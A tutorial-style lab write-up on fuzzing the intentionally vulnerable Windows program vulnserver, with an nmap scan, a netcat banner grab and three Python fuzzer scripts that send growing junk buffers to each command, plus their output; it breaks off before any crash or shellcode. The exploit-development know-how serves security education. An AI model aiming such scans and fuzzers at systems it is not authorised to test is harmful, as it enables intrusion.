6.2 : Classic buffer overflow - Fuzzing & Win32 buffer overflow (Part II)
Background
- When you are trying to create a buffer overflow exploit, the first step is try to fuzz the program.
- Fuzzing is looking for input, try to insert junk data to fill up the buffer, and looking for an return of memory address to manipulate.
Practical example - win32 buffer overflow
In order to learn buffer overflow in a educational way, we can use vulserver
from Stephen Bradshaw as an example.
You can download it from
http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
or via my github
https://github.com/j0eii/vul-server
vulserver
is a vulnerable server for educational purpose & running on Windows.
The other tools we need is the immunity debugger
.
In this case, we are using this as a memory inspection tool to look for strangle buffer return address.
So here is the steps to produce a buffer overflow to vulserver.
- Recon, look for the attack surface.
- Prepare
fuzzer
- Submit junk data to
vulsever
and look for the maximum buffer it can hold. - Look for the
EIP
changes on how many bytes can it barely take to achieve changing the buffer. - Check enough space for your shell code
- Look for the bad character that
vulserver
to avoid - Generate a rootkit from metasploit
msfvenom
, append it to the payload without exploding the buffer - Submit the payload again
- try the rootkit
Let's do this together in this lab.
1. Recon
Use nmap
to do the recon.
[email protected]:~# nmap -T4 -n -Pn -p 1-65535 192.168.56.100-102 --exclude 192.168.56.101
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-03 03:23 PST
Nmap scan report for 192.168.56.100
Host is up (0.000024s latency).
All 65535 scanned ports on 192.168.56.100 are filtered
MAC Address: 08:00:27:CA:DF:12 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00026s latency).
Not shown: 65529 filtered ports
PORT STATE SERVICE
22/tcp open ssh
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
9999/tcp open abyss
MAC Address: 08:00:27:21:0F:B2 (Oracle VirtualBox virtual NIC)
Nmap done: 2 IP addresses (2 hosts up) scanned in 87.57 seconds
Now we have our target, 192.168.56.102
on port 9999
It is a TCP service, lets use nc
try to connect it and grab the banner.
[email protected]:~# nc 192.168.56.102 9999
Welcome to Vulnerable Server! Enter HELP for help.
> HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
So right now we have our attack surface, which are the commands
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
& the command itself.
Let's create a python3 script & try to prope the function, see what can be fuzzed.
2. Prope & Fuzz
first attempt
Let's script a prope.
import socket
def get_message():
"""
prope server
construct request message
:return: string
"""
return "empty"
def prope(message):
"""
prope server
:param message: request message
:return: void
"""
host = "192.168.56.102"
port = 9999
res = None
try:
my_socket = socket.socket()
my_socket.connect((host, port))
my_socket.recv(2048).decode()
# print(res)
my_socket.send(message.encode())
res = my_socket.recv(2048).decode().replace("\n", "").replace("\r", "")
# print(res)
my_socket.close()
print("[success] %s:%s %s => %s" % (host, port, message, res))
except:
print("[error] %s:%s %s => None" % (host, port, message))
def main():
prope(get_message())
if __name__ == "__main__":
main()
Try & Execute
> python3 exploit.py
[success] 192.168.56.102:9999 empty => UNKNOWN COMMAND
Success for the prope script. Right now, let's try to modify the get_message
function, create a adjustable buffer generator for each prope.
second attempt
import socket
def get_message(length):
"""
prope server
construct request message
:param length:integer total byte
:return: string
"""
ret = ""
if length > 0:
ret = "A" * length
return ret
def prope(message):
"""
prope server
:param message: request message
:return: void
"""
host = "192.168.56.102"
port = 9999
res = None
try:
my_socket = socket.socket()
my_socket.connect((host, port))
my_socket.settimeout(1) # add this to prevent freeze the connection
my_socket.recv(2048).decode()
# print(res)
my_socket.send(message.encode())
res = my_socket.recv(2048).decode().replace("\n", "").replace("\r", "")
# print(res)
my_socket.close()
print("[success] %s:%s %s => %s" % (host, port, message, res))
except:
print("[error] %s:%s %s => None" % (host, port, message))
def main():
prope(get_message(0))
prope(get_message(1))
prope(get_message(10))
prope(get_message(30))
if __name__ == "__main__":
main()
Try & Execute
python3 exploit.py
[error] 192.168.56.102:9999 => None
[success] 192.168.56.102:9999 A => UNKNOWN COMMAND
[success] 192.168.56.102:9999 AAAAAAAAAA => UNKNOWN COMMAND
[success] 192.168.56.102:9999 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA => UNKNOWN COMMAND
Success. Right now we can modify it as a auto prope bot.
thrid attempt
Lets try to auto prope it.
import socket, sys
def get_message(length, prepend=None):
"""
prope server
construct request message
:param length:integer total byte
:return: string
"""
ret = ""
if length > 0:
ret = "A" * length
return prepend + " " + ret if prepend is not None else ret
def prope(message):
"""
prope server
:param message: request message
:return: void
"""
host = "192.168.56.102"
port = 9999
res = None
try:
my_socket = socket.socket()
my_socket.connect((host, port))
my_socket.settimeout(1) # add this to prevent freeze the connection
my_socket.recv(2048).decode()
# print(res)
my_socket.send(message.encode())
res = my_socket.recv(2048).decode().replace("\n", "").replace("\r", "")
# print(res)
my_socket.close()
# hide the success , look for failure, we need crash. we need failure.
print("[success] %s:%s %s => %s" % (host, port, message, res))
except:
print("[error] %s:%s %s => None" % (host, port, len(message))) # modify the output for testing ttl length
# sys.exit()
def main():
# prope(get_message(0))
# prope(get_message(1))
# prope(get_message(10))
# prope(get_message(30))
# try 10 kb prope by 50/incremental , see when crash
max=3
each=1
print("testing cmd itself")
i = 0
while i < max:
prope(get_message(i))
i += each
print("testing cmds")
cmds = [
"STATS"
, "RTIME"
, "LTIME"
, "SRUN"
, "TRUN"
, "GMON"
, "GDOG"
, "KSTET"
, "GTER"
, "HTER"
, "LTER"
, "KSTAN"
]
for cmd in cmds:
print("testing %s" % cmd)
i = 0
while i < max:
prope(get_message(i, cmd))
i += each
print("completed test")
if __name__ == "__main__":
main()
try & execute
>python3 exploit.py
testing cmd itself
[error] 192.168.56.102:9999 0 => None
[success] 192.168.56.102:9999 A => UNKNOWN COMMAND
[success] 192.168.56.102:9999 AA => UNKNOWN COMMAND
testing cmds
testing STATS
[success] 192.168.56.102:9999 STATS => STATS VALUE NORMAL
[success] 192.168.56.102:9999 STATS A => STATS VALUE NORMAL
[success] 192.168.56.102:9999 STATS AA => STATS VALUE NORMAL
testing RTIME
[success] 192.168.56.102:9999 RTIME => RTIME VALUE WITHIN LIMITS
[success] 192.168.56.102:9999 RTIME A => RTIME VALUE WITHIN LIMITS
[success] 192.168.56.102:9999 RTIME AA => RTIME VALUE WITHIN LIMITS
testing LTIME
[success] 192.168.56.102:9999 LTIME => LTIME VALUE HIGH, BUT OK
[success] 192.168.56.102:9999 LTIME A => LTIME VALUE HIGH, BUT OK
[success] 192.168.56.102:9999 LTIME AA => LTIME VALUE HIGH, BUT OK
testing SRUN
...
The exploit seems promising.
Lets try to crash the server by increasing the max byte we are trying to send.